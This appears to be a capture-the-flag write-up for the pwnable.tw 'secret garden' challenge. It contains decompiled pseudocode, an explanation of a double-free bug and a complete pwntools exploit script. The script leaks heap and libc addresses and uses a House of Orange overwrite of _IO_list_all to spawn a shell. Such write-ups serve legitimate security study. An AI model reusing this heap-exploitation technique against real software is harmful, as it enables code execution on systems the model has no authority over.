ntype.club

secret garden

Dr Absolute and Mr PIC

Rather than bypassing the alarm in gdb like I have in previous challenges I patched it out. It’s also a PIE binary.

int flower_count = 0; //0x202024
flower garden[21]; //0x202040

struct flower {
    int val;
    char *name;
    char color[0x18];
}


void display()
{
    puts("Secret Garden");
    //...
}

void create_flower()
{
    int flower_name_len; //rsp + 4; //rsp + 8 = canary
    if(flower_count > 0x63) { puts("Garden overflown"); return; }

    flower *new_flower = malloc(0x28);
    printf_chk(1, "Length of name");
    scanf("%u", flower_name_len);

    char *namebuf = malloc(flower_name_len);
    printf_chk(1, "Name of flower");
    read(0, namebuf, flower_name_len);
    new_flower->name = namebuf;

    printf_chk(1, "Color of flower");
    scanf("%23s", new_flower->color);
    new_flower->val = 1;

    int occupied = 0;
    flower *plot = garden;
    if(garden) {
        flower *next = garden[1];
        occupied = 1;
        while(next && occupied != 0x64) {
            occupied++;
            next = garden[occupied];
        }

        if(occupied == 0x64) { goto skip; }
    }

    garden[occupied] = new_flower;
skip:
    flower_count++;

    puts("Success")
}

void view_garden()
{
    if(flower_count == 0) { puts("No flowers"); return; }

    int ctr = 0;
    while(1) {
        if(garden[ctr] && garden[ctr]->val) {
            printf(1, "Name %u: %s", ctr, garden[ctr]->name);
            printf(1, "Color %u: %s", ctr, garden[ctr]->color);
        }
        ctr++;
        if(ctr == 0x64) { break; }
    }
    return;
}

void remove_flower()
{
    int flower_remove;
    if(flower_count == 0) { puts("No flowers"); return; }

    printf_chk(1, "Which flower remove");
    scanf("%d", flower_remove);
    if(flower_remove > 0x63) { }

    flower *rem = garden[flower_remove];
    if(!rem) { puts("Invalid"); return; }
    rem->val = 0;
    free(rem->name);
    puts("Successful");
    return;
}

void clean_garden()
{
    flower *chk = garden[20];
    int ctr = 0;
    while(1) {
        if(garden[ctr]) {
            if(garden[ctr]->val == 0) {
                free(garden[ctr]);
                garden[ctr] = 0;
                flower_count--;
            }
        }
        ctr++;
        if(garden[ctr] == chk) {
            puts("Done");
            return;
        }
    }
}

int main()
{
    char buf[8]; //rsp

    display();

    while(1) {
        read(0, buf, 4);
        int user = strtol(buf, NULL, 10):

        if(user > 5) { puts("Invalid"); }
        switch(user) {
            case 1:
                create_flower();
                break;
            case 2:
                view_garden();
                break;
            case 3:
                remove_flower();
                break;
            case 4:
                clean_garden();
                break;
            case 5:
		exit();
                break;
        }
    }
}

This was a similar challenge to caov since they both involve fastbin corruption. My initial strategy was to overwrite malloc_hook for an easy win, however, I couldn’t satisfy any of the one_gadget constraints in libc and resorted to overwriting IO_list_all.

In remove_flower the previous free’d flag (val in the struct) isn’t checked allowing a double-free. If the name chunk coincides with the size of the flower struct (0x28 bytes) we can use the double-free to rewrite the val flag allowing us to leak heap memory.

The libc leak is even easier, create a chunk larger than the largest fast bin and free it, any chunks later allocated off the free’d unsorted bin will have their fd and bk pointers set. Since the program doesn’t append a null-byte it’s trivial to leak.

After failing to get the malloc_hook gadget working, I just went with the House of Orange attack because it always works. I could have used the same unsorted bin attack to write a main_arena address above free_hook disrupt the fastbin structure and allocate a chunk near the hook but since both attacks require an unsorted bin I went with the guaranteed strategy.

from pwn import *

#sh = process('./secretgarden')
sh = remote('chall.pwnable.tw', 10203)

def raiseit(sh, length, name, color):
    sh.sendlineafter('Your choice : ', b'1')
    sh.sendlineafter('name :', str(length).encode('ascii'))
    sh.sendafter('name of flower :', name)
    sh.sendlineafter('color of the flower :', color)
    sh.recvuntil('!')

def free(sh, idx):
    sh.sendlineafter('Your choice : ', b'3')
    sh.sendlineafter('garden:', str(idx).encode('ascii'))
    sh.recvuntil('Successful')

def visit(sh):
    sh.sendlineafter('Your choice : ', b'2')

raiseit(sh, 10, b'break', b'g')
raiseit(sh, 10, b'test', b'r')
free(sh, 0)
free(sh, 1)

raiseit(sh, 40, b'test', b'red')
raiseit(sh, 40, b'test2', b'blue')

free(sh, 3)
free(sh, 2)
free(sh, 3)

raiseit(sh, 10, b'break', b'g')
free(sh, 4)
raiseit(sh, 40, p64(1), b'o')

visit(sh)
sh.recvuntil('flower[4] :')
ln = sh.recvuntil('\n')
heap = u64(ln[:len(ln)-1] + b'\x00' * (9-len(ln)))
print("heap", hex(heap))

# This will call system which will be placed in the heap in a later chunk
padding = p64(0) * 22 + p64(0) * 25 + p64(heap + 0x1e0)+p64(0)

raiseit(sh, 512, padding, b'g')
raiseit(sh, 10, b'pad', b'r')
free(sh, 6)

raiseit(sh, 48, b'newfreee', b'r')

visit(sh)
sh.recvuntil('flower[8] :')
ln = sh.recvuntil('\n')
ln = ln[8:]
libc_save = u64(ln[:len(ln)-1] + b'\x00' * (9-len(ln)))
libc = libc_save - 0x3c3b08 - 0x70
print("main arena", hex(libc_save))
print("libc", hex(libc))

iolist = libc + 0x3c4520
systm = libc + 0x45390

free(sh, 8)
sh.sendlineafter('Your choice : ', b'4')

raiseit(sh, 48, b'A' * 4, b'r')
raiseit(sh, 48, p64(0) * 5 + p64(0x41), b'r')

free(sh, 1)
free(sh, 0)
free(sh, 1)

raiseit(sh, 48, p64(heap+0x200), b'r')
raiseit(sh, 48, b'A' * 4, b'r')
#virtual table that gets called in malloc abort sequence
raiseit(sh, 48, p64(0) * 3 + p64(systm), b'r')

#fixes unsorted bin into the fourth small bin and overwrites io_list_all
raiseit(sh, 48, b'/bin/sh\x00'+p64(0x61)+p64(0xdeadbeef)+p64(iolist-0x10)+p64(2)+p64(3), b'r')
sh.interactive()